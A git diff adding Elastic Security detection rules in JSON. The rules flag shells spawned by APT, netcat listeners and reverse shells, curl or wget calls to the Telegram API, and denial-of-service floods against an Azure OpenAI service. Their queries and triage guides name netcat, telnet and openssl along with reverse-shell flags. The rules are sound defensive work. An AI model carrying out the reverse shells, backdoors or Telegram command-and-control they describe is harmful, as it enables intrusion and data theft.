"ecs": false, + "name": "Esql.aws_cloudtrail_request_parameters_target_bucket_name", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.aws_cloudtrail_request_parameters_target_object_key", + "type": "keyword" + }, + { + "ecs": false, + "name": "aws.cloudtrail.user_identity.arn", + "type": "keyword" + }, + { + "ecs": true, + "name": "cloud.account.id", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.action", + "type": "keyword" + } + ], + "risk_score": 47, + "rule_id": "ab8f074c-5565-4bc4-991c-d49770e19fc9", + "setup": "AWS S3 data event types need to be enabled in the CloudTrail trail configuration.", + "severity": "medium", + "tags": [ + "Domain: Cloud", + "Data Source: AWS", + "Data Source: Amazon Web Services", + "Data Source: AWS S3", + "Data Source: AWS KMS", + "Use Case: Threat Detection", + "Tactic: Impact", + "Resources: Investigation Guide" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0040", + "name": "Impact", + "reference": "https://attack.mitre.org/tactics/TA0040/" + }, + "technique": [ + { + "id": "T1486", + "name": "Data Encrypted for Impact", + "reference": "https://attack.mitre.org/techniques/T1486/" + } + ] + } + ], + "timestamp_override": "event.ingested", + "type": "esql", + "version": 7 + }, + "id": "ab8f074c-5565-4bc4-991c-d49770e19fc9_7", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/ad959eeb-2b7b-4722-ba08-a45f6622f005_109.json b/packages/security_detection_engine/kibana/security_rule/ad959eeb-2b7b-4722-ba08-a45f6622f005_109.json new file mode 100644 index 00000000000..1ce082d08c1 --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/ad959eeb-2b7b-4722-ba08-a45f6622f005_109.json @@ -0,0 +1,173 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "Detects suspicious process events executed by the APT package manager, potentially indicating persistence through an APT backdoor. In Linux, APT (Advanced Package Tool) is a command-line utility used for handling packages on Debian-based systems, providing functions for installing, updating, upgrading, and removing software along with managing package repositories. Attackers can backdoor APT to gain persistence by injecting malicious code into scripts that APT runs, thereby ensuring continued unauthorized access or control each time APT is used for package management.", + "from": "now-9m", + "index": [ + "logs-endpoint.events.process*", + "logs-sentinel_one_cloud_funnel.*", + "logs-crowdstrike.fdr*" + ], + "language": "eql", + "license": "Elastic License v2", + "name": "Suspicious APT Package Manager Execution", + "note": "## Triage and analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.\n\n### Investigating Suspicious APT Package Manager Execution\n\nThe APT package manager is a vital tool for managing software on Debian-based Linux systems, handling tasks like installation and updates. Adversaries may exploit APT by embedding malicious scripts to maintain persistence and control. The detection rule identifies unusual shell or script executions initiated by APT, signaling potential backdoor activities, thus aiding in early threat detection and response.\n\n### Possible investigation steps\n\n- Review the process execution details to identify the specific shell or script that was executed with APT as the parent process. Pay attention to the process names and arguments, such as \"bash\", \"dash\", \"sh\", etc., and the presence of the \"-c\" argument.\n- Examine the command-line arguments and scripts executed by the suspicious process to determine if they contain any malicious or unexpected commands.\n- Check the parent process details, specifically the APT process, to understand the context in which the shell or script was executed. This includes reviewing any recent package installations or updates that might have triggered the execution.\n- Investigate the user account under which the suspicious process was executed to assess if it has been compromised or if it has elevated privileges that could be exploited.\n- Correlate the event with other security logs or alerts from the same host to identify any additional indicators of compromise or related suspicious activities.\n- Review the system's package management logs to identify any recent changes or anomalies in package installations or updates that could be linked to the suspicious execution.\n\n### False positive analysis\n\n- Legitimate administrative scripts executed by system administrators using APT may trigger the rule. To handle this, identify and document routine administrative tasks and create exceptions for these specific scripts or commands.\n- Automated system maintenance scripts that use APT for updates or installations can be mistaken for suspicious activity. Review and whitelist these scripts by their specific command patterns or script names.\n- Custom software deployment processes that involve APT and shell scripts might be flagged. Analyze these processes and exclude them by defining clear criteria for legitimate deployment activities.\n- Security tools or monitoring solutions that interact with APT for scanning or auditing purposes may cause false positives. Verify these tools' operations and exclude their known benign processes from triggering the rule.\n- Development environments where developers frequently use APT and shell scripts for testing and building software can lead to alerts. Establish a baseline of normal development activities and exclude these from the detection rule.\n\n### Response and remediation\n\n- Isolate the affected host immediately to prevent further unauthorized access or lateral movement within the network.\n- Terminate any suspicious processes identified in the alert, particularly those initiated by the APT package manager that match the query criteria.\n- Conduct a thorough review of the APT configuration files and scripts to identify and remove any injected malicious code or unauthorized modifications.\n- Restore the affected system from a known good backup if malicious modifications are extensive or if the integrity of the system cannot be assured.\n- Update all system packages and apply security patches to mitigate vulnerabilities that may have been exploited by the adversary.\n- Monitor the affected host and network for any signs of re-infection or further suspicious activity, focusing on the execution of shell scripts and unauthorized network connections.\n- Escalate the incident to the security operations team for further investigation and to determine if additional systems have been compromised.", + "query": "sequence by host.id with maxspan=5s\n [process where host.os.type == \"linux\" and event.type == \"start\" and event.action in (\"exec\", \"start\", \"ProcessRollup2\") and\n process.parent.name == \"apt\" and process.args == \"-c\" and process.name in (\n \"bash\", \"dash\", \"sh\", \"tcsh\", \"csh\", \"zsh\", \"ksh\", \"fish\"\n ) and not process.executable == \"/usr/lib/venv-salt-minion/bin/python.original\"\n ] by process.entity_id\n [process where host.os.type == \"linux\" and event.type == \"start\" and event.action in (\"exec\", \"start\", \"ProcessRollup2\") and process.name : (\n \"bash\", \"dash\", \"sh\", \"tcsh\", \"csh\", \"zsh\", \"ksh\", \"fish\", \"python*\", \"php*\",\n \"perl\", \"ruby\", \"lua*\", \"openssl\", \"nc\", \"netcat\", \"ncat\", \"telnet\", \"awk\"\n )\n ] by process.parent.entity_id\n", + "references": [ + "https://www.elastic.co/security-labs/sequel-on-persistence-mechanisms" + ], + "related_integrations": [ + { + "package": "endpoint", + "version": "^8.2.0" + }, + { + "package": "sentinel_one_cloud_funnel", + "version": "^1.0.0" + }, + { + "package": "crowdstrike", + "version": "^2.0.0" + } + ], + "required_fields": [ + { + "ecs": true, + "name": "event.action", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.type", + "type": "keyword" + }, + { + "ecs": true, + "name": "host.id", + "type": "keyword" + }, + { + "ecs": true, + "name": "host.os.type", + "type": "keyword" + }, + { + "ecs": true, + "name": "process.args", + "type": "keyword" + }, + { + "ecs": true, + "name": "process.entity_id", + "type": "keyword" + }, + { + "ecs": true, + "name": "process.executable", + "type": "keyword" + }, + { + "ecs": true, + "name": "process.name", + "type": "keyword" + }, + { + "ecs": true, + "name": "process.parent.entity_id", + "type": "keyword" + }, + { + "ecs": true, + "name": "process.parent.name", + "type": "keyword" + } + ], + "risk_score": 47, + "rule_id": "ad959eeb-2b7b-4722-ba08-a45f6622f005", + "setup": "## Setup\n\n\nThis rule requires data coming in from Elastic Defend.\n\n### Elastic Defend Integration Setup\nElastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app.\n\n#### Prerequisite Requirements:\n- Fleet is required for Elastic Defend.\n- To configure Fleet Server refer to the [documentation](https://www.elastic.co/guide/en/fleet/current/fleet-server.html).\n\n#### The following steps should be executed in order to add the Elastic Defend integration on a Linux System:\n- Go to the Kibana home page and click \"Add integrations\".\n- In the query bar, search for \"Elastic Defend\" and select the integration to see more details about it.\n- Click \"Add Elastic Defend\".\n- Configure the integration name and optionally add a description.\n- Select the type of environment you want to protect, either \"Traditional Endpoints\" or \"Cloud Workloads\".\n- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. [Helper guide](https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html).\n- We suggest selecting \"Complete EDR (Endpoint Detection and Response)\" as a configuration setting, that provides \"All events; all preventions\"\n- Enter a name for the agent policy in \"New agent policy name\". If other agent policies already exist, you can click the \"Existing hosts\" tab and select an existing policy instead.\nFor more details on Elastic Agent configuration settings, refer to the [helper guide](https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html).\n- Click \"Save and Continue\".\n- To complete the integration, select \"Add Elastic Agent to your hosts\" and continue to the next section to install the Elastic Agent on your hosts.\nFor more details on Elastic Defend refer to the [helper guide](https://www.elastic.co/guide/en/security/current/install-endpoint.html).\n", + "severity": "medium", + "tags": [ + "Domain: Endpoint", + "OS: Linux", + "Use Case: Threat Detection", + "Tactic: Persistence", + "Tactic: Execution", + "Tactic: Defense Evasion", + "Data Source: Elastic Defend", + "Data Source: SentinelOne", + "Resources: Investigation Guide", + "Data Source: Crowdstrike" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0003", + "name": "Persistence", + "reference": "https://attack.mitre.org/tactics/TA0003/" + }, + "technique": [ + { + "id": "T1543", + "name": "Create or Modify System Process", + "reference": "https://attack.mitre.org/techniques/T1543/" + }, + { + "id": "T1546", + "name": "Event Triggered Execution", + "reference": "https://attack.mitre.org/techniques/T1546/", + "subtechnique": [ + { + "id": "T1546.016", + "name": "Installer Packages", + "reference": "https://attack.mitre.org/techniques/T1546/016/" + } + ] + }, + { + "id": "T1574", + "name": "Hijack Execution Flow", + "reference": "https://attack.mitre.org/techniques/T1574/" + } + ] + }, + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0002", + "name": "Execution", + "reference": "https://attack.mitre.org/tactics/TA0002/" + }, + "technique": [ + { + "id": "T1059", + "name": "Command and Scripting Interpreter", + "reference": "https://attack.mitre.org/techniques/T1059/", + "subtechnique": [ + { + "id": "T1059.004", + "name": "Unix Shell", + "reference": "https://attack.mitre.org/techniques/T1059/004/" + } + ] + } + ] + }, + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0005", + "name": "Defense Evasion", + "reference": "https://attack.mitre.org/tactics/TA0005/" + }, + "technique": [] + } + ], + "type": "eql", + "version": 109 + }, + "id": "ad959eeb-2b7b-4722-ba08-a45f6622f005_109", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/adb961e0-cb74-42a0-af9e-29fc41f88f5f_215.json b/packages/security_detection_engine/kibana/security_rule/adb961e0-cb74-42a0-af9e-29fc41f88f5f_215.json new file mode 100644 index 00000000000..5d8b76eb1ab --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/adb961e0-cb74-42a0-af9e-29fc41f88f5f_215.json @@ -0,0 +1,123 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "A netcat process is engaging in network activity on a Linux host. Netcat is often used as a persistence mechanism by exporting a reverse shell or by serving a shell on a listening port. Netcat is also sometimes used for data exfiltration.", + "false_positives": [ + "Netcat is a dual-use tool that can be used for benign or malicious activity. Netcat is included in some Linux distributions so its presence is not necessarily suspicious. Some normal use of this program, while uncommon, may originate from scripts, automation tools, and frameworks." + ], + "from": "now-9m", + "index": [ + "auditbeat-*", + "endgame-*", + "logs-auditd_manager.auditd-*", + "logs-crowdstrike.fdr*", + "logs-endpoint.events.process*", + "logs-sentinel_one_cloud_funnel.*" + ], + "language": "eql", + "license": "Elastic License v2", + "name": "File Transfer or Listener Established via Netcat", + "note": "## Triage and analysis\n\n### Investigating File Transfer or Listener Established via Netcat\n\nNetcat is a dual-use command line tool that can be used for various purposes, such as port scanning, file transfers, and connection tests. Attackers can abuse its functionality for malicious purposes such creating bind shells or reverse shells to gain access to the target system.\n\nA reverse shell is a mechanism that's abused to connect back to an attacker-controlled system. It effectively redirects the system's input and output and delivers a fully functional remote shell to the attacker. Even private systems are vulnerable since the connection is outgoing.\n\nA bind shell is a type of backdoor that attackers set up on the target host and binds to a specific port to listen for an incoming connection from the attacker.\n\nThis rule identifies potential reverse shell or bind shell activity using Netcat by checking for the execution of Netcat followed by a network connection.\n\n#### Possible investigation steps\n\n- Examine the command line to identify if the command is suspicious.\n- Extract and examine the target domain or IP address.\n - Check if the domain is newly registered or unexpected.\n - Check the reputation of the domain or IP address.\n - Scope other potentially compromised hosts in your environment by mapping hosts that also communicated with the domain or IP address.\n- Investigate other alerts associated with the user/host during the past 48 hours.\n- Investigate any abnormal account behavior, such as command executions, file creations or modifications, and network connections.\n- Investigate any abnormal behavior by the subject process such as network connections, file modifications, and any spawned child processes.\n\n### False positive analysis\n\n- Netcat is a dual-use tool that can be used for benign or malicious activity. It is included in some Linux distributions, so its presence is not necessarily suspicious. Some normal use of this program, while uncommon, may originate from scripts, automation tools, and frameworks.\n\n### Response and remediation\n\n- Initiate the incident response process based on the outcome of the triage.\n- Isolate the involved host to prevent further post-compromise behavior.\n- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services.\n- Block the identified indicators of compromise (IoCs).\n- Take actions to terminate processes and connections used by the attacker.\n- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components.\n- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector.\n- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR).\n", + "query": "process where host.os.type == \"linux\" and event.type == \"start\" and\nevent.action in (\"exec\", \"exec_event\", \"start\", \"ProcessRollup2\", \"executed\", \"process_started\") and\nprocess.name in (\"nc\",\"ncat\",\"netcat\",\"netcat.openbsd\",\"netcat.traditional\") and\nprocess.args like~ (\n /* bind shell to specific port or listener */\n \"-*l*\",\"-*p*\",\n /* reverse shell to command-line interpreter used for command execution */\n \"-*e*\",\n /* file transfer via stdout/pipe */\n \">\",\"<\", \"|\"\n)\n", + "references": [ + "http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet", + "https://www.sans.org/security-resources/sec560/netcat_cheat_sheet_v1.pdf", + "https://en.wikipedia.org/wiki/Netcat", + "https://www.hackers-arise.com/hacking-fundamentals", + "https://null-byte.wonderhowto.com/how-to/hack-like-pro-use-netcat-swiss-army-knife-hacking-tools-0148657/", + "https://levelup.gitconnected.com/ethical-hacking-part-15-netcat-nc-and-netcat-f6a8f7df43fd" + ], + "related_integrations": [ + { + "package": "endpoint", + "version": "^8.2.0" + }, + { + "package": "auditd_manager", + "version": "^1.0.0" + }, + { + "package": "crowdstrike", + "version": "^2.0.0" + }, + { + "package": "sentinel_one_cloud_funnel", + "version": "^1.0.0" + } + ], + "required_fields": [ + { + "ecs": true, + "name": "event.action", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.type", + "type": "keyword" + }, + { + "ecs": true, + "name": "host.os.type", + "type": "keyword" + }, + { + "ecs": true, + "name": "process.args", + "type": "keyword" + }, + { + "ecs": true, + "name": "process.name", + "type": "keyword" + } + ], + "risk_score": 47, + "rule_id": "adb961e0-cb74-42a0-af9e-29fc41f88f5f", + "setup": "## Setup\n\nThis rule requires data coming in from one of the following integrations:\n- Elastic Defend\n- Auditbeat\n\n### Elastic Defend Integration Setup\nElastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app.\n\n#### Prerequisite Requirements:\n- Fleet is required for Elastic Defend.\n- To configure Fleet Server refer to the [documentation](https://www.elastic.co/guide/en/fleet/current/fleet-server.html).\n\n#### The following steps should be executed in order to add the Elastic Defend integration on a Linux System:\n- Go to the Kibana home page and click \"Add integrations\".\n- In the query bar, search for \"Elastic Defend\" and select the integration to see more details about it.\n- Click \"Add Elastic Defend\".\n- Configure the integration name and optionally add a description.\n- Select the type of environment you want to protect, either \"Traditional Endpoints\" or \"Cloud Workloads\".\n- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. [Helper guide](https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html).\n- We suggest selecting \"Complete EDR (Endpoint Detection and Response)\" as a configuration setting, that provides \"All events; all preventions\"\n- Enter a name for the agent policy in \"New agent policy name\". If other agent policies already exist, you can click the \"Existing hosts\" tab and select an existing policy instead.\nFor more details on Elastic Agent configuration settings, refer to the [helper guide](https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html).\n- Click \"Save and Continue\".\n- To complete the integration, select \"Add Elastic Agent to your hosts\" and continue to the next section to install the Elastic Agent on your hosts.\nFor more details on Elastic Defend refer to the [helper guide](https://www.elastic.co/guide/en/security/current/install-endpoint.html).\n\n### Auditbeat Setup\nAuditbeat is a lightweight shipper that you can install on your servers to audit the activities of users and processes on your systems. For example, you can use Auditbeat to collect and centralize audit events from the Linux Audit Framework. You can also use Auditbeat to detect changes to critical files, like binaries and configuration files, and identify potential security policy violations.\n\n#### The following steps should be executed in order to add the Auditbeat on a Linux System:\n- Elastic provides repositories available for APT and YUM-based distributions. Note that we provide binary packages, but no source packages.\n- To install the APT and YUM repositories follow the setup instructions in this [helper guide](https://www.elastic.co/guide/en/beats/auditbeat/current/setup-repositories.html).\n- To run Auditbeat on Docker follow the setup instructions in the [helper guide](https://www.elastic.co/guide/en/beats/auditbeat/current/running-on-docker.html).\n- To run Auditbeat on Kubernetes follow the setup instructions in the [helper guide](https://www.elastic.co/guide/en/beats/auditbeat/current/running-on-kubernetes.html).\n- For complete \u201cSetup and Run Auditbeat\u201d information refer to the [helper guide](https://www.elastic.co/guide/en/beats/auditbeat/current/setting-up-and-running.html).\n", + "severity": "medium", + "tags": [ + "Domain: Endpoint", + "OS: Linux", + "Use Case: Threat Detection", + "Tactic: Execution", + "Resources: Investigation Guide", + "Data Source: Elastic Defend", + "Data Source: Elastic Endgame", + "Data Source: Auditd Manager", + "Data Source: Crowdstrike", + "Data Source: SentinelOne" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0002", + "name": "Execution", + "reference": "https://attack.mitre.org/tactics/TA0002/" + }, + "technique": [ + { + "id": "T1059", + "name": "Command and Scripting Interpreter", + "reference": "https://attack.mitre.org/techniques/T1059/", + "subtechnique": [ + { + "id": "T1059.004", + "name": "Unix Shell", + "reference": "https://attack.mitre.org/techniques/T1059/004/" + } + ] + } + ] + } + ], + "timestamp_override": "event.ingested", + "type": "eql", + "version": 215 + }, + "id": "adb961e0-cb74-42a0-af9e-29fc41f88f5f_215", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/af1e36fe-0abd-4463-b5ec-4e276dec0b26_3.json b/packages/security_detection_engine/kibana/security_rule/af1e36fe-0abd-4463-b5ec-4e276dec0b26_3.json new file mode 100644 index 00000000000..acaa6a1733b --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/af1e36fe-0abd-4463-b5ec-4e276dec0b26_3.json @@ -0,0 +1,97 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "This rule detects when a process executes the curl or wget command with an argument that includes the api.telegram.org domain. This may indicate command and control behavior.", + "from": "now-9m", + "index": [ + "logs-endpoint.events.process*", + "logs-crowdstrike.fdr*" + ], + "language": "eql", + "license": "Elastic License v2", + "name": "Linux Telegram API Request", + "note": " ## Triage and analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.\n\n### Investigating Linux Telegram API Request\n\nTelegram's API allows applications to interact with its messaging platform, often used for legitimate automation and communication tasks. However, adversaries may exploit this by using commands like `curl` or `wget` to communicate with Telegram's API for command and control purposes. The detection rule identifies such suspicious activity by monitoring for these commands accessing the Telegram API, indicating potential misuse.\n\n### Possible investigation steps\n\n- Review the process details to confirm the execution of the curl or wget command with the api.telegram.org domain in the command line, as indicated by the process.command_line field.\n- Investigate the user account associated with the process to determine if the activity aligns with expected behavior or if the account may be compromised.\n- Check the network activity logs to identify any additional connections to api.telegram.org or other suspicious domains, which may indicate further command and control communication.\n- Analyze the parent process of the detected curl or wget command to understand how the process was initiated and if it was triggered by another suspicious activity.\n- Examine the system for any other indicators of compromise, such as unusual file modifications or additional unauthorized processes, to assess the scope of potential malicious activity.\n\n### False positive analysis\n\n- Legitimate automation scripts or applications may use curl or wget to interact with Telegram's API for non-malicious purposes. Review the context and purpose of these scripts to determine if they are authorized.\n- System administrators or developers might use curl or wget for testing or maintenance tasks involving Telegram's API. Verify if these activities are part of routine operations and consider excluding them if they are deemed safe.\n- Monitoring tools or integrations that rely on Telegram for notifications could trigger this rule. Identify these tools and add exceptions for their known processes to prevent unnecessary alerts.\n- If a specific user or service account frequently triggers this rule due to legitimate use, consider creating an exception for that account to reduce noise while maintaining security oversight.\n\n### Response and remediation\n\n- Immediately isolate the affected system from the network to prevent further communication with the Telegram API and potential data exfiltration.\n- Terminate any suspicious processes identified as using curl or wget to interact with api.telegram.org to halt ongoing malicious activities.\n- Conduct a thorough review of the affected system's process logs and network connections to identify any additional indicators of compromise or related malicious activity.\n- Remove any unauthorized scripts or binaries that may have been used to automate the interaction with the Telegram API.\n- Reset credentials and review access permissions for any accounts that were active on the affected system to prevent unauthorized access.\n- Update and patch the affected system to the latest security standards to mitigate vulnerabilities that could be exploited in similar attacks.\n- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected.\n", + "query": "process where host.os.type == \"linux\" and event.type == \"start\" and event.action in (\"exec\", \"ProcessRollup2\") and\nprocess.name in (\"curl\", \"wget\") and process.command_line like \"*api.telegram.org*\"\n", + "related_integrations": [ + { + "package": "endpoint", + "version": "^8.2.0" + }, + { + "package": "crowdstrike", + "version": "^2.0.0" + } + ], + "required_fields": [ + { + "ecs": true, + "name": "event.action", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.type", + "type": "keyword" + }, + { + "ecs": true, + "name": "host.os.type", + "type": "keyword" + }, + { + "ecs": true, + "name": "process.command_line", + "type": "wildcard" + }, + { + "ecs": true, + "name": "process.name", + "type": "keyword" + } + ], + "risk_score": 21, + "rule_id": "af1e36fe-0abd-4463-b5ec-4e276dec0b26", + "setup": "## Setup\n\nThis rule requires data coming in from Elastic Defend.\n\n### Elastic Defend Integration Setup\nElastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app.\n\n#### Prerequisite Requirements:\n- Fleet is required for Elastic Defend.\n- To configure Fleet Server refer to the [documentation](https://www.elastic.co/guide/en/fleet/current/fleet-server.html).\n\n#### The following steps should be executed in order to add the Elastic Defend integration on a Linux System:\n- Go to the Kibana home page and click \"Add integrations\".\n- In the query bar, search for \"Elastic Defend\" and select the integration to see more details about it.\n- Click \"Add Elastic Defend\".\n- Configure the integration name and optionally add a description.\n- Select the type of environment you want to protect, either \"Traditional Endpoints\" or \"Cloud Workloads\".\n- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. [Helper guide](https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html).\n- We suggest selecting \"Complete EDR (Endpoint Detection and Response)\" as a configuration setting, that provides \"All events; all preventions\"\n- Enter a name for the agent policy in \"New agent policy name\". If other agent policies already exist, you can click the \"Existing hosts\" tab and select an existing policy instead.\nFor more details on Elastic Agent configuration settings, refer to the [helper guide](https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html).\n- Click \"Save and Continue\".\n- To complete the integration, select \"Add Elastic Agent to your hosts\" and continue to the next section to install the Elastic Agent on your hosts.\nFor more details on Elastic Defend refer to the [helper guide](https://www.elastic.co/guide/en/security/current/install-endpoint.html).\n\nElastic Defend integration does not collect environment variable logging by default.\nIn order to capture this behavior, this rule requires a specific configuration option set within the advanced settings of the Elastic Defend integration.\n #### To set up environment variable capture for an Elastic Agent policy:\n- Go to \u201cSecurity \u2192 Manage \u2192 Policies\u201d.\n- Select an \u201cElastic Agent policy\u201d.\n- Click \u201cShow advanced settings\u201d.\n- Scroll down or search for \u201clinux.advanced.capture_env_vars\u201d.\n- Enter the names of environment variables you want to capture, separated by commas.\n- For this rule the linux.advanced.capture_env_vars variable should be set to \"HTTP_PROXY,HTTPS_PROXY,ALL_PROXY\".\n- Click \u201cSave\u201d.\nAfter saving the integration change, the Elastic Agents running this policy will be updated and the rule will function properly.\nFor more information on capturing environment variables refer to the [helper guide](https://www.elastic.co/guide/en/security/current/environment-variable-capture.html).\n", + "severity": "low", + "tags": [ + "Domain: Endpoint", + "OS: Linux", + "Use Case: Threat Detection", + "Tactic: Command and Control", + "Data Source: Elastic Defend", + "Resources: Investigation Guide", + "Data Source: Crowdstrike" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0011", + "name": "Command and Control", + "reference": "https://attack.mitre.org/tactics/TA0011/" + }, + "technique": [ + { + "id": "T1071", + "name": "Application Layer Protocol", + "reference": "https://attack.mitre.org/techniques/T1071/", + "subtechnique": [ + { + "id": "T1071.001", + "name": "Web Protocols", + "reference": "https://attack.mitre.org/techniques/T1071/001/" + } + ] + } + ] + } + ], + "timestamp_override": "event.ingested", + "type": "eql", + "version": 3 + }, + "id": "af1e36fe-0abd-4463-b5ec-4e276dec0b26_3", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/b0450411-46e5-46d2-9b35-8b5dd9ba763e_4.json b/packages/security_detection_engine/kibana/security_rule/b0450411-46e5-46d2-9b35-8b5dd9ba763e_4.json new file mode 100644 index 00000000000..f2537d1633b --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/b0450411-46e5-46d2-9b35-8b5dd9ba763e_4.json @@ -0,0 +1,68 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "Detects patterns indicative of Denial-of-Service (DoS) attacks on machine learning (ML) models, focusing on unusually high volume and frequency of requests or patterns of requests that are known to cause performance degradation or service disruption, such as large input sizes or rapid API calls.", + "false_positives": [ + "Unexpected system errors", + "Legitimate spikes in usage due to business processes" + ], + "from": "now-60m", + "interval": "10m", + "language": "esql", + "license": "Elastic License v2", + "name": "Potential Denial of Azure OpenAI ML Service", + "note": "## Triage and analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.\n\n### Investigating Potential Denial of Azure OpenAI ML Service\n\nAzure OpenAI ML services enable scalable deployment of machine learning models, crucial for AI-driven applications. Adversaries may exploit these services by overwhelming them with excessive or malformed requests, leading to service degradation or outages. The detection rule identifies such threats by monitoring for high-frequency, large-size requests, which are indicative of potential denial-of-service attacks.\n\n### Possible investigation steps\n\n- Review the logs for the specific time window identified by the target_time_window field to understand the context and volume of requests.\n- Identify the specific Azure resource involved using the azure.resource.name field to determine if the service is critical or sensitive.\n- Examine the cloud.account.id field to ascertain if the requests are originating from a known or trusted account, or if they are potentially malicious.\n- Analyze the request patterns, focusing on the avg_request_size and count fields, to determine if the requests are consistent with normal usage or indicative of a potential attack.\n- Check for any recent changes or updates to the Azure OpenAI ML service configuration or deployment that might have affected its performance or security posture.\n- Correlate the findings with other security logs or alerts to identify any related suspicious activities or broader attack patterns.\n\n### False positive analysis\n\n- High-volume legitimate usage patterns can trigger false positives, such as during scheduled batch processing or data analysis tasks. Users can mitigate this by setting exceptions for known time windows or specific resource names associated with these activities.\n- Large input sizes from legitimate applications, like those processing extensive datasets or complex queries, may be misidentified as threats. Users should identify and whitelist these applications by their resource names or account IDs.\n- Testing and development environments often generate high-frequency requests as part of load testing or performance tuning. Users can exclude these environments by filtering out specific resource names or account IDs associated with non-production activities.\n- Automated scripts or integrations that interact with the Azure OpenAI ML service at high frequencies for valid business processes might be flagged. Users should document and exclude these scripts by identifying their unique request patterns or resource identifiers.\n\n### Response and remediation\n\n- Immediately throttle or block the IP addresses or accounts responsible for the high-frequency, large-size requests to prevent further service degradation.\n- Notify the Azure OpenAI service administrators and relevant stakeholders about the detected potential denial-of-service attack for awareness and further action.\n- Review and adjust rate limiting and request size policies on the Azure OpenAI ML service to mitigate the impact of similar attacks in the future.\n- Conduct a post-incident analysis to identify any vulnerabilities or misconfigurations that allowed the attack to occur and address them promptly.\n- Escalate the incident to the security operations team for further investigation and to determine if the attack is part of a larger threat campaign.\n- Implement additional monitoring and alerting for unusual patterns of requests, focusing on high volume and frequency, to enhance early detection of similar threats.\n- Coordinate with the cloud provider's support team to ensure any necessary infrastructure adjustments or protections are in place to prevent recurrence.\n", + "query": "from logs-azure_openai.logs-*\n| eval\n Esql.time_window_date_trunc = date_trunc(1 minutes, @timestamp)\n| where azure.open_ai.operation_name == \"ChatCompletions_Create\"\n| keep\n azure.open_ai.properties.request_length,\n azure.resource.name,\n cloud.account.id,\n Esql.time_window_date_trunc\n| stats\n Esql.event_count = count(*),\n Esql.azure_open_ai_properties_request_length_avg = avg(azure.open_ai.properties.request_length)\n by\n Esql.time_window_date_trunc,\n azure.resource.name\n| where\n Esql.event_count >= 10 and\n Esql.azure_open_ai_properties_request_length_avg >= 5000\n| sort Esql.event_count desc\n", + "references": [ + "https://genai.owasp.org/llmrisk/llm04-model-denial-of-service", + "https://atlas.mitre.org/techniques/AML.T0029" + ], + "related_integrations": [ + { + "package": "azure_openai", + "version": "^1.0.0" + } + ], + "required_fields": [ + { + "ecs": false, + "name": "Esql.azure_open_ai_properties_request_length_avg", + "type": "double" + }, + { + "ecs": false, + "name": "Esql.event_count", + "type": "long" + }, + { + "ecs": false, + "name": "Esql.time_window_date_trunc", + "type": "date" + }, + { + "ecs": false, + "name": "azure.resource.name", + "type": "keyword" + } + ], + "risk_score": 47, + "rule_id": "b0450411-46e5-46d2-9b35-8b5dd9ba763e", + "setup": "## Setup\n\nFor more information on streaming events, see the Azure OpenAI documentation:\n\nhttps://learn.microsoft.com/en-us/azure/azure-monitor/essentials/stream-monitoring-data-event-hubs\n", + "severity": "medium", + "tags": [ + "Domain: LLM", + "Data Source: Azure OpenAI", + "Data Source: Azure Event 